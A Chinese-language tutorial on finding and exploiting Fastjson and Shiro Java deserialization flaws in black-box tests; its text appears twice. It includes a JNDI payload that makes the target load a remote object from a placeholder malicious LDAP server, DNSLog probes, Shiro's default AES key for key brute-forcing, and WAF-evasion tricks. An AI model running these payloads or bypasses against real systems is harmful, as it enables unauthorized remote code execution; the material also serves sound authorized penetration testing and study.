实战中Java反序列化漏洞黑盒挖掘思路
字数 3141 2025-10-13 22:56:21

实战中Java反序列化漏洞黑盒挖掘思路

文档概述

本文档基于实战经验,系统性地阐述了在黑盒测试场景下,挖掘Java反序列化漏洞的思路与方法。核心聚焦于两种最常见的类型:Fastjson反序列化漏洞Shiro反序列化漏洞,并提供了从漏洞探测、指纹识别到漏洞利用及WAF绕过的完整链条。

一、 Fastjson反序列化漏洞挖掘

Fastjson是阿里巴巴开源的JSON解析库,其反序列化漏洞因其广泛存在而备受关注。

1.1 漏洞存在性判断(指纹识别)

核心思路: 判断目标应用是否使用了Fastjson组件进行JSON解析。

  • 方法一:查看数据包格式
    • 观察HTTP请求数据包,如果传输的数据格式为JSON(Content-Type: application/json),则存在使用Fastjson的可能。
  • 方法二:语法错误探测法
    • 这是一个非常有效的指纹识别方法。在JSON数据包中,故意制造语法错误,例如删除一个闭合的花括号 }
    • 关键点: 观察服务器返回的错误信息。如果报错信息中包含了fastjsoncom.alibaba.fastjson.JSONException等关键字,则可以确定目标使用了Fastjson。
  • 方法三:DNSLog外带探测
    • 这是一种无回显情况下的探测方法。向目标发送一个精心构造的Payload,如果目标存在漏洞且可以出网,则会触发对外部DNS服务器的请求,从而在DNSLog平台上收到记录。
    • 常用探测Payload:
      {"zero":{"@type":"java.net.Inet4Address","val":"your-dnslog-domain.dnslog.cn"}}
      
    • 如果收到DNS解析记录,则证明存在Fastjson,并且版本可能在1.2.24至1.2.83之间。

1.2 版本探测与利用链选择

在确认存在Fastjson后,需要判断其版本,以选择合适的利用链。

  • 版本探测Payload:
    {"@type":"java.lang.AutoCloseable"a["test":1]
    
    • 这是一个错误的JSON语法。不同版本的Fastjson对语法错误的处理方式不同,通过对比错误回显可以大致判断版本范围。
  • 利用链选择:
    • 情况一:目标出网,且版本 <= 1.2.47(通杀链)
      • 这是最经典的利用链,利用JdbcRowSetImpl类触发JNDI注入,加载远程恶意对象。
      • 利用Payload:
        {
          "v47": {
            "@type": "java.lang.Class",
            "val": "com.sun.rowset.JdbcRowSetImpl"
          },
          "xxx": {
            "@type": "com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName": "ldap://your-malicious-server.com/Exploit",
            "autoCommit": true
          }
        }
        
    • 情况二:目标不出网
      • 当无法进行JNDI注入时,需要寻找不出网的利用链。这些链通常依赖目标ClassPath中存在的特定库。
      • 关键点: 通过触发特定类的异常,根据HTTP响应长度或错误信息的变化来判断链子是否存在。
      • 可尝试的类(如果目标环境中存在这些库,则可能成功):
        • com.mchange.v2.c3p0.WrapperConnectionPoolDataSource (c3p0二次反序列化链)
        • org.apache.tomcat.dbcp.dbcp.BasicDataSource
        • org.apache.tomcat.dbcp.dbcp2.BasicDataSource
        • org.apache.ibatis.datasource.unpooled.UnpooledDataSource
      • 工具辅助: 可以使用 Java Chains 等工具来生成各种不出网利用链的Payload。

二、 Apache Shiro反序列化漏洞挖掘

Shiro是一个Java安全框架,其RememberMe功能的反序列化漏洞是另一个高危点。

2.1 漏洞存在性判断与密钥爆破

核心思路: Shiro会将用户的身份信息序列化、加密后存储在Cookie的rememberMe字段中。如果加密密钥(AES Key)强度弱或泄露,攻击者可以伪造恶意序列化数据。

  • 指纹识别:
    • 检查HTTP响应头中的Set-Cookie字段,或者请求包中是否存在Cookie: rememberMe=...。只要存在rememberMe参数,无论值为何,都表明可能使用了Shiro的该功能。
  • 密钥爆破:
    • Shiro框架的默认密钥是硬编码在代码中的(如kPH+bIxk5D2deZiIxcaaaA==),很多开发人员不会修改它。攻击者可以使用常见的密钥字典进行爆破。
    • 爆破原理: 使用一个已知的、能触发DNS请求的序列化Payload(例如URLDNS),用字典中的每个密钥进行加密,然后作为rememberMe的值发送给服务器。如果密钥正确,Shiro会成功解密并反序列化数据,触发DNS请求。通过监测DNSLog是否收到记录来判断密钥是否正确。

2.2 WAF绕过技巧

在实际攻防中,WAF可能会拦截rememberMe关键字或序列化数据特征。

  • 方法一:Cookie名称污染
    • rememberMe这个Cookie名称中插入特殊字符(脏数据),Shiro在解析时可能会忽略这些字符,而WAF可能进行严格匹配。
    • 示例:Cookie: rememberMe=payload 改为 Cookie: remember@Me=payloadCookie: remember$Me=payload
    • 工具: 原文作者提供了一个自动化脚本,用于在rememberMe中插入脏数据以绕过WAF。
  • 方法二:POST数据污染
    • 将请求方式从GET改为POST,并在POST Body中添加大量无用的脏数据(例如4MB的垃圾数据),以拖慢WAF的检测速度或导致其检测失败,同时将恶意的rememberMe放在Cookie中。

2.3 有Key无链的处理

场景: 爆破出了正确的AES Key,但使用常见的利用链(如CommonsCollections, CB链)无法成功。这可能是因为目标环境中没有相应的依赖库,或者代码中存在过滤。

  • 方法一:尝试其他利用链
    • Shiro默认可能只包含CB链,但目标应用可能引入了其他库。使用 Java Chains 等工具,遍历所有可能的Gadget链,并通过DNSLog外带或响应时间延迟来判断链子是否可用。
  • 方法二:JRMP二次反序列化
    • 这是一种非常有效的绕过方式,尤其适用于仅过滤了危险类名(如Runtime, ProcessBuilder)的情况。
    • 利用流程:
      1. 攻击者在本机启动一个恶意的JRMP监听器。
      2. 向目标Shiro发送一个特殊的Payload,这个Payload本身不直接执行命令,而是指示目标服务器通过JRMP协议连接到攻击者控制的服务器。
      3. 目标服务器连接后,攻击者的JRMP服务会返回一个恶意的序列化对象(包含真正的命令执行代码)。
      4. 目标服务器在反序列化这个对象时执行命令。
    • 优势: 将“要执行什么代码”这一步放到了攻击者服务器上,从而绕过了目标应用对序列化数据内容的直接过滤。

总结与工具

漏洞类型 关键探测点 利用条件 常用工具
Fastjson 1. JSON数据格式
2. 语法错误报错信息
3. DNSLog外带请求
1. 版本 <= 1.2.83
2. 目标ClassPath中存在利用链依赖
DNSLog平台、Java Chains
Shiro 1. 存在rememberMe Cookie
2. DNSLog外带请求(密钥正确时)
1. 使用弱密钥或默认密钥
2. 目标ClassPath中存在利用链依赖
密钥爆破工具(如ShiroAttack2)、Java Chains、JRMP监听器

核心提醒: 所有测试应在获得授权的前提下进行。本文提及的技术仅用于安全研究和授权测试,请勿用于非法用途。


希望这份详尽的教学文档能对您有所帮助!

实战中Java反序列化漏洞黑盒挖掘思路 文档概述 本文档基于实战经验,系统性地阐述了在黑盒测试场景下,挖掘Java反序列化漏洞的思路与方法。核心聚焦于两种最常见的类型: Fastjson反序列化漏洞 和 Shiro反序列化漏洞 ,并提供了从漏洞探测、指纹识别到漏洞利用及WAF绕过的完整链条。 一、 Fastjson反序列化漏洞挖掘 Fastjson是阿里巴巴开源的JSON解析库,其反序列化漏洞因其广泛存在而备受关注。 1.1 漏洞存在性判断(指纹识别) 核心思路: 判断目标应用是否使用了Fastjson组件进行JSON解析。 方法一:查看数据包格式 观察HTTP请求数据包,如果传输的数据格式为JSON( Content-Type: application/json ),则存在使用Fastjson的可能。 方法二:语法错误探测法 这是一个非常有效的指纹识别方法。在JSON数据包中,故意制造语法错误,例如 删除一个闭合的花括号 } 。 关键点: 观察服务器返回的错误信息。如果报错信息中包含了 fastjson 、 com.alibaba.fastjson.JSONException 等关键字,则可以 确定 目标使用了Fastjson。 方法三:DNSLog外带探测 这是一种无回显情况下的探测方法。向目标发送一个精心构造的Payload,如果目标存在漏洞且可以出网,则会触发对外部DNS服务器的请求,从而在DNSLog平台上收到记录。 常用探测Payload: 如果收到DNS解析记录,则证明存在Fastjson,并且版本可能在1.2.24至1.2.83之间。 1.2 版本探测与利用链选择 在确认存在Fastjson后,需要判断其版本,以选择合适的利用链。 版本探测Payload: 这是一个错误的JSON语法。不同版本的Fastjson对语法错误的处理方式不同,通过对比错误回显可以大致判断版本范围。 利用链选择: 情况一:目标出网,且版本 <= 1.2.47(通杀链) 这是最经典的利用链,利用 JdbcRowSetImpl 类触发JNDI注入,加载远程恶意对象。 利用Payload: 情况二:目标不出网 当无法进行JNDI注入时,需要寻找不出网的利用链。这些链通常依赖目标ClassPath中存在的特定库。 关键点: 通过触发特定类的异常,根据HTTP响应长度或错误信息的变化来判断链子是否存在。 可尝试的类(如果目标环境中存在这些库,则可能成功): com.mchange.v2.c3p0.WrapperConnectionPoolDataSource (c3p0二次反序列化链) org.apache.tomcat.dbcp.dbcp.BasicDataSource org.apache.tomcat.dbcp.dbcp2.BasicDataSource org.apache.ibatis.datasource.unpooled.UnpooledDataSource 工具辅助: 可以使用 Java Chains 等工具来生成各种不出网利用链的Payload。 二、 Apache Shiro反序列化漏洞挖掘 Shiro是一个Java安全框架,其RememberMe功能的反序列化漏洞是另一个高危点。 2.1 漏洞存在性判断与密钥爆破 核心思路: Shiro会将用户的身份信息序列化、加密后存储在Cookie的 rememberMe 字段中。如果加密密钥(AES Key)强度弱或泄露,攻击者可以伪造恶意序列化数据。 指纹识别: 检查HTTP响应头中的 Set-Cookie 字段,或者请求包中是否存在 Cookie: rememberMe=... 。只要存在 rememberMe 参数,无论值为何,都表明可能使用了Shiro的该功能。 密钥爆破: Shiro框架的默认密钥是硬编码在代码中的(如 kPH+bIxk5D2deZiIxcaaaA== ),很多开发人员不会修改它。攻击者可以使用常见的密钥字典进行爆破。 爆破原理: 使用一个已知的、能触发DNS请求的序列化Payload(例如URLDNS),用字典中的每个密钥进行加密,然后作为 rememberMe 的值发送给服务器。如果密钥正确,Shiro会成功解密并反序列化数据,触发DNS请求。通过监测DNSLog是否收到记录来判断密钥是否正确。 2.2 WAF绕过技巧 在实际攻防中,WAF可能会拦截 rememberMe 关键字或序列化数据特征。 方法一:Cookie名称污染 在 rememberMe 这个Cookie名称中插入特殊字符(脏数据),Shiro在解析时可能会忽略这些字符,而WAF可能进行严格匹配。 示例: 将 Cookie: rememberMe=payload 改为 Cookie: remember@Me=payload 或 Cookie: remember$Me=payload 。 工具: 原文作者提供了一个自动化脚本,用于在 rememberMe 中插入脏数据以绕过WAF。 方法二:POST数据污染 将请求方式从GET改为POST,并在POST Body中添加大量无用的脏数据(例如4MB的垃圾数据),以拖慢WAF的检测速度或导致其检测失败,同时将恶意的 rememberMe 放在Cookie中。 2.3 有Key无链的处理 场景: 爆破出了正确的AES Key,但使用常见的利用链(如CommonsCollections, CB链)无法成功。这可能是因为目标环境中没有相应的依赖库,或者代码中存在过滤。 方法一:尝试其他利用链 Shiro默认可能只包含CB链,但目标应用可能引入了其他库。使用 Java Chains 等工具,遍历所有可能的Gadget链,并通过DNSLog外带或响应时间延迟来判断链子是否可用。 方法二:JRMP二次反序列化 这是一种非常有效的绕过方式,尤其适用于仅过滤了危险类名(如 Runtime , ProcessBuilder )的情况。 利用流程: 攻击者在本机启动一个恶意的JRMP监听器。 向目标Shiro发送一个特殊的Payload,这个Payload本身不直接执行命令,而是指示目标服务器通过JRMP协议连接到攻击者控制的服务器。 目标服务器连接后,攻击者的JRMP服务会返回一个恶意的序列化对象(包含真正的命令执行代码)。 目标服务器在反序列化这个对象时执行命令。 优势: 将“要执行什么代码”这一步放到了攻击者服务器上,从而绕过了目标应用对序列化数据内容的直接过滤。 总结与工具 | 漏洞类型 | 关键探测点 | 利用条件 | 常用工具 | | :--- | :--- | :--- | :--- | | Fastjson | 1. JSON数据格式 2. 语法错误报错信息 3. DNSLog外带请求 | 1. 版本 <= 1.2.83 2. 目标ClassPath中存在利用链依赖 | DNSLog平台、Java Chains | | Shiro | 1. 存在 rememberMe Cookie 2. DNSLog外带请求(密钥正确时) | 1. 使用弱密钥或默认密钥 2. 目标ClassPath中存在利用链依赖 | 密钥爆破工具(如ShiroAttack2)、Java Chains、JRMP监听器 | 核心提醒: 所有测试应在获得授权的前提下进行。本文提及的技术仅用于安全研究和授权测试,请勿用于非法用途。 希望这份详尽的教学文档能对您有所帮助!